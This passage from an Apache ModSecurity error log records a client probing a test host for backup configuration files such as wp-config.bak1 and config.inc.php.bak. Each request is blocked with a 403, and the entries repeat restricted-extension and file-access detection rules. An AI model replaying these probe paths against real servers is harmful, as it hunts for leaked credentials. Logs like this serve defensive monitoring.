[Thu Feb 26 01:03:31.963144 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilAAAAAE&quot;]
[Thu Feb 26 01:03:31.979844 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizxAAAAAA&quot;]
[Thu Feb 26 01:03:31.980075 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizxAAAAAA&quot;]
[Thu Feb 26 01:03:31.980256 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizxAAAAAA&quot;]
[Thu Feb 26 01:03:31.984317 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilQAAAAE&quot;]
[Thu Feb 26 01:03:31.984779 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilQAAAAE&quot;]
[Thu Feb 26 01:03:31.984918 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilQAAAAE&quot;]
[Thu Feb 26 01:03:32.007240 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxQAAAAA&quot;]
[Thu Feb 26 01:03:32.007770 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxQAAAAA&quot;]
[Thu Feb 26 01:03:32.007947 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxQAAAAA&quot;]
[Thu Feb 26 01:03:32.014938 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilgAAAAE&quot;]
[Thu Feb 26 01:03:32.015451 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilgAAAAE&quot;]
[Thu Feb 26 01:03:32.015627 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilgAAAAE&quot;]
[Thu Feb 26 01:03:32.052070 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxgAAAAA&quot;]
[Thu Feb 26 01:03:32.052843 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxgAAAAA&quot;]
[Thu Feb 26 01:03:32.053077 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxgAAAAA&quot;]
[Thu Feb 26 01:03:32.069335 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilwAAAAE&quot;]
[Thu Feb 26 01:03:32.069841 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilwAAAAE&quot;]
[Thu Feb 26 01:03:32.069997 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLilwAAAAE&quot;]
[Thu Feb 26 01:03:32.088619 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxwAAAAA&quot;]
[Thu Feb 26 01:03:32.089354 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxwAAAAA&quot;]
[Thu Feb 26 01:03:32.089576 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizxwAAAAA&quot;]
[Thu Feb 26 01:03:32.091118 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimAAAAAE&quot;]
[Thu Feb 26 01:03:32.091608 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimAAAAAE&quot;]
[Thu Feb 26 01:03:32.091817 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimAAAAAE&quot;]
[Thu Feb 26 01:03:32.117551 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyAAAAAA&quot;]
[Thu Feb 26 01:03:32.118231 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyAAAAAA&quot;]
[Thu Feb 26 01:03:32.118457 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyAAAAAA&quot;]
[Thu Feb 26 01:03:32.139549 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag 